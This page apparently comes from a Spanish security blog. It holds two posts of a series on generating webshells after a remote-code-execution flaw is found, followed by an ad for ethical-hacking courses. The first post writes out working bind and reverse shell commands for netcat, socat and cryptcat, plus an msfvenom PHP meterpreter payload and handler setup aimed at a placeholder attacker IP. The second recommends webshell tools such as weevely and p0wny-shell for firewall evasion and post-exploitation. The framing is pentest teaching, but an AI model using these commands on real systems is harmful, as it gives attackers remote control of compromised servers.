Categorías
Hacking Networking Programacion Services - Software Web Applications

15 formas de generar una webshell – Parte 2

En el articulo anterior se mencionaron las 5 primeras alternativas a la hora de generar una webshell, las cuales son muy básicas y casi con total seguridad el lector las conoce bien. En esta ocasión hablaré de otras 5 alternativas que en mi opinión se deberían tener en consideración a la hora de explotar alguna vulnerabilidad de RCE en una aplicación web.

6. phpbash. (https://github.com/Arrexel/phpbash.git)

Se trata de una webshell semi-interactiva que utiliza la función “shell_exec” de PHP. Viene bien especialmente cuando no es posible establecer una shell reversa por el motivo que sea. Dado que se trata de una webshell “stand-alone” no hace falta abrir ningún puerto o establecer conexiones de ningún tipo, salvo las propias peticiones HTTP que se realizarán contra la webshell subida en el servidor web. Esto viene bien para evadir restricciones de un firewall, por ejemplo, ya que como se ha dicho antes no hace falta abrir puertos ni establecer conexiones contra ellos, por lo tanto es ideal para realizar pruebas rápidas de explotación de alguna vulnerabilidad que permita subir una webshell. En el repositorio hay dos ficheros PHP: “phpbash.php” y “phpbash-min.php”. La diferencia esta en que el primero de ellos tiene el código con indentación y el segundo no. Evidentemente esto hace que el tamaño del segundo sea más reducido que el de el primero, lo cual en ciertas circunstancias puede venir bien.

7. weevely. (https://github.com/epinna/weevely3)

No podía faltar Weevely en el listado. Es una de las webshell más potentes que se encuentran disponibles actualmente y de hecho, está pensada para asistir al atacante (o pentester) en los procesos de post-explotación. Es parecida a otras herramientas que buscan el mismo objetivo en el sentido de que cuenta con dos elementos fundamentales: La consola de Weevely y un agente que debe desplegarse en el sistema comprometido. El agente no es más que un programa pequeño en PHP que se debe instalar en el servidor web, mientras que la consola de Weevely se encuentra escrito en Python y permite recibir las conexiones que establece el agente. Para aquellos que habéis trabajado con Empire, se sigue una filosofía parecida (Listener recibe conexiones en la máquina del atacante y el agente establece las conexiones desde la víctima).
Una vez clonado el repositorio, lo primero que hay que hacer es instalar las dependencias definidas en el fichero “requirements.txt”. Tan simple como ejecutar “pip install -r requirements.txt”.
A continuación ya se podrán ver las opciones disponibles en la herramienta.

Como se puede ver, no hay muchas opciones disponibles y resulta fácil de utilizar. Ahora es el momento de generar un nuevo agente, tal como se puede ver se hace con el comando “generate”.

Una vez hecho esto, el siguiente paso evidentemente es subir el agente a la víctima y obtener una sesión en weevely.

El comando “help” permite ver los comandos que se encuentran incluidos en esta potente webshell, sin embargo esto no significa que ya se haya establecido la conexión, esto ocurre solamente ene el momento en el que se ejecuta el primer comando en la consola de weevely.


Pero aquí no termina. Cuenta con varios módulos que permiten llevar a cabo procesos de post-explotación, algunos de estos módulos incluyen: Búsqueda de ficheros SUID inseguros, subida y descarga de ficheros, volcado de bases de datos, establecimiento de puertas traseras “bind” y “reverse”, recolección de información en ficheros sensibles del sistema, establecimiento de un proxy (incluyendo un proxy SOCKS como el que podría tener una instancia de TOR, por ejemplo) para ejecutar conexiones hacia otras redes (como Internet), entre muchas otras cosas. Además, algo que merece la pena mencionar es que es un proyecto que funciona bastante bien y en raras ocasiones me he encontrado con errores en el código que impidan que alguna funcionalidad concreta se ejecute correctamente , como sí que ocurre en otros proyectos de código abierto. Os recomiendo que le echéis un vistazo ya que merece mucho la pena.

8. Webshells en el repositorio de XL7DEV (https://github.com/xl7dev/WebShell).

En éste repositorio hay un conjunto bastante amplio de webshells para múltiples lenguajes y plataformas. Como podréis ver cuando lo visitéis hay webshells para Go, Perl, Python, PHP, ASP, etc. Algunas de ellas han sido muy populares y en su día las podías encontrar en servidores web comprometidos, lo que te permitía saber que alguien más había estado allí aprovechándose de alguna vulnerabilidad o como administrador del sistema para saber que hay algún defecto o mala configuración que le ha permitido a alguien “plantar” ese … ese agujero de seguridad en tu sistema. Si estás empezando a probar webshells es un buen repositorio para conocer algunas de las más interesantes y sino, a lo mejor te traerá algunos recuerdos (ojo, a lo mejor no precisamente buenos).

9. webshells en Kali y FuzzDB.

También tenemos un repositorio bastante completo de webshells de uso general en Kali y por supuesto, en FuzzDB. En Kali las webshells se encuentran ubicadas en el directorio “/usr/share/webshells” y se pueden ver las más básicas para lenguajes como Java, PHP, ColdFusion o ASP. No obstante, en el caso de FuzzDB hay más variedad (https://github.com/fuzzdb-project/fuzzdb/tree/master/web-backdoors) no solamente soporta más lenguajes de programación, sino que las webshells que se encuentran allí son estables y funcionan en prácticamente todos los casos.

10. p0wnyshell. https://github.com/flozz/p0wny-shell

Se trata de una webshell muy simple pero al mismo tiempo muy completa. En primer lugar es una webshell interactiva, por lo tanto su uso resulta mucho más cómodo que con otras que no lo son. Del mismo modo que ocurre con “phpbash”, una vez que la webshell se sube al servidor se puede interactuar con ella de forma directa, sin establecer conexiones reversas o bind, algo que como se ha mencionado antes puede venir muy bien a la hora de realizar pruebas de explotación y evitar posibles problemas en las conexiones establecidas desde y/o hacia la máquina comprometida.

Espero que os haya gustado este pequeño listado, en la próxima publicación os enseñaré 5 webshells más que seguro que os van a gustar.

Un saludo y Happy Hack.
Adastra.

Categorías
Hacking Networking Programacion Services - Software Web Applications

15 formas de generar una webshell – Parte 1

Si tenemos la suerte de encontrar una vulnerabilidad que nos permita la ejecución de instrucciones en una aplicación web, lo siguiente que se debe considerar es la mejor forma de aprovechar dicha vulnerabilidad. La forma más común consiste evidentemente en intentar subir una webshell que permita la ejecución de instrucciones contra el sistema comprometido y en este sentido encontramos bastantes alternativas que dependiendo del entorno y plataforma sobre la que está montada la aplicación web pueden ser más o menos óptimas. A continuación os dejo un listado de 15 alternativas diferentes (distribuidas en 3 posts) a la hora de generar una webshell en una aplicación web vulnerable.

 

1. NETCAT.

Se trata del mecanismo más clásico, tradicional y conocido. Probablemente la mayoría de personas que inician en el mundo del hacking aprenden primero a utilizar esta sencilla herramienta. Dada su simplicidad no merece la pena dedicar muchas líneas a éste mecanismo ya que basta con decir que permite la creación de shells del tipo bind y reverse gracias a la opción “-e”. No obstante, hay que tener en cuenta que dependiendo de la versión de Netcat instalada en el sistema objetivo éste método podría no ser viable ya que por seguridad la opción “-e” no se encuentra disponible en el paquete, es decir, que en el momento de compilar el programa no se ha habilitado la conocida opción “GAPING_SECURITY_HOLE” de Netcat. Las condiciones necesarias para que éste mecanismo funcione son:

  • la aplicación web vulnerable debe permitir la ejecución de instrucciones directamente contra el sistema operativo
  • El sistema operativo del objetivo debe tener “netcat” instalado y con la opción “-e” habilitada.

Dicho esto, para generar una bind shell se ejecutarían los siguientes comandos:

VÍCTIMA ATACANTE
nc -lvvp PUERTO_BINDSHELL -e /bin/bash nc -vv IP_VÍCTIMA PUERTO_BINDSHELL

Para generar un reverse shell sería de la siguiente forma:

VÍCTIMA ATACANTE
nc -vv IP_ATACANTE PUERTO_REVERSE_SHELL -e /bin/bash nc -lvvp PUERTO_REVERSE_SHELL

En éste caso se asume que el sistema objetivo tiene “/bin/bash”, evidentemente. Ahora bien, en el caso de que Netcat no tenga habilitada la opción “-e” no significa que sea imposible crear una bind/reverse shell utilizando esta herramienta. Se puede y lo explicaré en el siguiente post.

2. SOCAT.

Si bien Netcat es conocido como “la navaja suiza de los hackers”, socat provee incluso más características y es más potente que netcat sin embargo, esto significa que es también un poco más complejo. Hace algunos años escribí un par de artículos sobre ésta herramienta que puedes ver aquí y aquí. Evidentemente, para que éste mecanismo funcione es necesario que el sistema objetivo tenga socat instalado.

Dicho esto, para generar una bind shell se ejecutarían los siguientes comandos:

VÍCTIMA ATACANTE
socat TCP-LISTEN:BINDSHELL_PORT,reuseaddr,fork EXEC:sh,pty,stderr,setsid,sigint,sane socat FILE:`tty`,raw,echo=0 TCP:IP_VÍCTIMA:BINDSHELL_PORT

Para generar un reverse shell sería de la siguiente forma:

VÍCTIMA ATACANTE
socat tcp-connect:IP_ATACANTE:PUERTO_REVERSE_SHELL exec:sh,pty,stderr,setsid,sigint,sane socat file:`tty`,raw,echo=0 tcp-listen:PUERTO_REVERSE_SHELL

3. MSFVENOM

Utilizar la herramienta msfvenom disponible en Metasploit Framework es otra de las alternativas más comúnmente utilizadas a la hora de crear una webshell. Una de las ventajas que tiene éste mecanismo es que permite generar una webshell para una plataforma concreta (php, python, java, ruby, etc) y que además permite especificar un payload de los que se encuentran disponibles en el framework de tal manera que será posible generar una sesión meterpreter si especificamos un payload de dicho tipo. El uso típico para generar una webshell del tipo “reverse” utilizando un payload de meterpreter podría ser el siguiente:

msfvenom -p php/meterpreter/reverse_tcp LHOST=IP_ATACANTE LPORT=PUERTO_REVERSESHELL -f php -o webshell.php

Con éste sencillo comando se generará una webshell para PHP, la cual una vez ejecutada en la aplicación vulnerable generará una sesión meterpreter.

use exploit/multi/handler

set PAYLOAD php/meterpreter/reverse_tcp

set LHOST “IP_ATACANTE”

set LPORT “PUERTO_REVERSESHELL”

exploit -j

Lo más importante a tener en cuenta es que debe coincidir el PAYLOAD, LHOST y LPORT indicados en el módulo “exploit/multi/handler” con los valores que se han puesto en msfvenom.

4. CRYPTCAT

Se trata de otro mecanismo interesante del que ya he escrito hace algunos años también aquí. En éste caso funciona de un modo muy similar a netcat, con la ventaja de que se encarga de cifrar toda la comunicación entre víctima y atacante. Obviamente, es necesario que el programa se encuentre instalado en el sistema objetivo y esto no es algo frecuente, por lo tanto éste método es utilizado principalmente en procesos de post-explotación una vez se tiene cierto grado de control sobre el sistema comprometido y es posible instalar programas como éste. En el post indicado anteriormente se enseña el procedimiento de instalación en sistemas basados en Windows, sin embargo en el caso caso de sistemas GNU/Linux la instalación depende de la distribución y es probablemente más sencilla, ya que por ejemplo, en el caso de sistemas basados en Debian se puede instalar con un simple “apt-get install cryptcat”.

Dicho esto, para generar una bind shell se ejecutarían los siguientes comandos:

VÍCTIMA ATACANTE
#mkfifo bindshell

#cryptcat -k password -l -p PUERTO_BINDSHELL 0<bindshell| /bin/bash 1>bindshell

#cryptcat -k password -vv IP_VÍCTIMA PUERTO_BINDSHELL

Para generar un reverse shell sería de la siguiente forma:

VÍCTIMA ATACANTE
#cryptcat -k password -vv IP_ATACANTE PUERTO_REVERSE_SHELL #mkfifo reverseshell

#cryptcat -k password -l -p PUERTO_REVERSESHELL 0<reverseshell| /bin/bash 1>reverseshell

En este caso la comunicación estará cifrada utilizando TwoFish.

5. PENTESTMONKEY SHELLS

Este es otro de los recursos más tradicionales en el pentesting web. Pentestmonkey es un sitio web que contiene herramientas para llevar a cabo procesos de explotación y post-explotación, Cheat Sheets básicos para pruebas de SQL Injection sobre diferentes tipos de bases de datos y algunos artículos que si bien ya se han escrito hace bastantes años, suponen una buena fuente de información para pentesters que están empezando o incluso como referencia para aquellos más experimentados.

El recurso en cuestión en donde se pueden encontrar algunas webshells interesantes (en este caso para PHP y PERL) es el siguiente: http://pentestmonkey.net/category/tools/web-shells

Del mismo modo hay un Cheat Sheet que puede ser útil como referencia para probar diferentes mecanismos a la hora generar una reverse shell en un entorno con fuertes limitaciones (en el que por ejemplo, no se cuenta con un conjunto de herramientas mínimo para establecer una shell entre víctima y atacante obligando a realizar las conexiones de forma manual).

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Se trata de las alternativas que a mi juicio, son de las más comunes a la hora de generar una webshell aunque hay muchísimas más con su ventajas y desventajas, como todo. En los próximos dos post explicaré otras herramientas, proyectos y alternativas para explotar adecuadamente una vulnerabilidad de RCE y sacarle el máximo provecho.

Un saludo…

Happy Hack y Happy Health.

Adastra.

Categorías
Explotación de Software Hacking Networking Programacion

Novedades en el plan de formaciones sobre Hacking ético en Securízame

Como seguramente algunos de vosotros habéis visto en redes sociales, grupos de telegram o charlas en las que he asistido en los últimos meses, tenemos abierto el plan de formación de Hacking ético y RedTeam en Securízame (https://www.securizame.com/plan-de-formacion-hacking-etico-2020/), en donde una vez más, seré el instructor. Se trata de un plan de formaciones que como ya he mencionado en otras ocasiones, es un tanto especial por el mimo y cuidado con el que se ha diseñado. Las formaciones se dividen en dos cursos, el primero de ellos de un nivel básico/intermedio y el segundo de un nivel más avanzado en el que se ven técnicas enfocadas al RedTeam. Luego tenemos entrenamiento y la certificación RTCP (Red Team Certified Professional: https://cursos.securizame.com/courses/certificacion-rtcp/) la cual es propia de Securízame y en la cual también participo en su diseño y evaluación. Todo esto probablemente es bien sabido por aquellos que leéis éste blog o ya habéis participado en éste plan de formaciones, sin embargo para el primer semestre del 2020 hay algunas novedades que me gustaría compartir con todos vosotros.

En primer lugar, tanto el curso básico/intermedio como el avanzado tienen algunos contenidos adicionales que se han incorporado debido a la evolución que están teniendo los sistemas informáticos modernos, especialmente aquellos que se desarrollan en empresas dedicadas a la construcción de software. En este sentido se han incluido temas tan interesantes como por ejemplo:

* Introducción a SecDevOps
* Detección y explotación de vulnerabilidades en APIs Rest.

* Vulnerabilidades en arquitecturas basadas en Microservicios.

* Detección y explotación de vulnerabilidades en sistemas basados en contenedores (Docker).

* Detección y explotación de vulnerabilidades en sistemas de orquestación (Docker Swarm y Kubernetes).

* Técnicas avanzadas de post-explotación en sistemas GNU/Linux

* Más técnicas de post-explotación en sistemas Windows.

* Técnicas para llevar a cabo movimientos laterales tanto en sistemas Windows y GNU/Linux como en diferentes situaciones que se podrían encontrar en un Red Team.

Sin ser una lista completa de lo que se verá en las formaciones, es un ejemplo de algunos de los temas que tocaremos en esta ocasión y que no se han enseñado en versiones previas de las formaciones de Hacking ético presencial que se han impartido en Securízame.
Sin embargo esto no es todo, los entrenamientos también vienen con novedades. En ediciones anteriores se incluía un entrenamiento, el cual está compuesto por una serie de retos, máquinas con vulnerabilidades que yo mismo he diseñado en THW Labs (https://thehackerway.es/thw-labs/) pero en esta ocasión tendremos dos entrenamientos en los que se sigue la misma dinámica: reto → comprometes el sistema o no → solución → siguiente reto. En ambos tendremos un reto especial el día domingo que consistirá en resolver una edición anterior del RTCP. Esto le permitirá a los aspirantes ver cómo será el entorno del examen y practicar mucho más todo lo relacionado con la explotación, post-explotación y movimientos laterales para extraer información de los sistemas en la red. A diferencia de otras formaciones que se mantienen “estáticas” con los mismos contenidos desde hace años, las formaciones que impartimos en materia de Hacking y RedTeam en Securízame no siguen este patrón y nos esforzamos en mantenerlas actualizadas y enfocadas a la seguridad en los sistemas empresariales modernos ya que evidentemente, es lo que nos vamos a encontrar en las auditorías de seguridad que nos piden nuestros clientes.

Si os ha resultado interesante lo anterior, os indico las fechas de cada formación, teniendo en cuenta que las plazas son limitadas, la formación es presencial y que también hay packs con los que podéis ahorrar dinero.

Hacking ético básico/intermedio: 03/04/2020 al 05/04/2020 https://cursos.securizame.com/courses/curso-hacking-etico-basico/

Hacking ético avanzado: 24/04/2020 al 25/04/2020

https://cursos.securizame.com/courses/curso-hacking-etico-avanzado/

Entrenamiento práctico I: 22/05/2020 al 24/05/2020

https://cursos.securizame.com/courses/entrenamiento-practico-hacking-etico/

Entrenamiento práctico II: 05/06/2020 al 07/06/2020

https://cursos.securizame.com/courses/entrenamiento-practico-hacking-etico-2/

Examen de certificación RTCP: 20/06/2020 o 21/06/2020

https://cursos.securizame.com/courses/certificacion-rtcp/

Partiendo de estas fechas, tenéis la posibilidad de adquirir los cursos de forma individual o aprovechar los packs que se encuentran disponibles (algo que os recomiendo).

PACK RTCP: Se trata de la formación completa, lo que incluye los cursos, entrenamientos, acceso a los laboratorios durante más de 30 días para practicar desde casa y el examen de certificación RTCP. https://cursos.securizame.com/courses/pack-rtcp-curso-basico-avanzado-entrenamiento-certificacion-rtcp/

PACK HACKING ÉTICO: Con éste pack tendrás acceso a las formaciones, entrenamientos, acceso a los laboratorios durante más de 30 días y no se incluye el examen de certificación. https://cursos.securizame.com/courses/pack-hacking-etico-curso-basico-avanzado-entrenamiento/

PACK ENTRENAMIENTOS HACKING ÉTICO: Si lo que te interesa son los entrenamientos 100% prácticos, también puedes adquirir éste pack, en donde únicamente se incluyen las dos ediciones del entrenamiento y más de 30 días de acceso a los laboratorios desde casa (o cualquier sitio). https://cursos.securizame.com/courses/pack-entrenamientos-hacking-etico/

PACK ENTRENAMIENTOS HACKING ÉTICO + RTCP: Lo mismo que el anterior, pero con derecho a presentar el examen de certificación. https://cursos.securizame.com/courses/pack-practico-hacking-etico-entrenamiento-certificacion-rtcp/

Aún tienes tiempo para apuntarte y si estás realmente interesado en estas formaciones, te recomiendo que lo hagas pronto ya que en todas las ediciones anteriores las plazas se nos han agotado bastante rápido. Finalmente, si tienes cualquier duda o necesitas aclarar cualquier punto, te puedes poner en contacto conmigo directamente escribiendo un comentario en ésta entrada, enviándome un mensaje directo en alguna red social en la que me sigas o por Telegram. También tienes a tu disposición el formulario de contacto en el sitio web de Securízame https://www.securizame.com/contacto/

Espero verte en la academia y tener el placer de enseñarte!

Un Saludo y Happy Hack.

Adastra.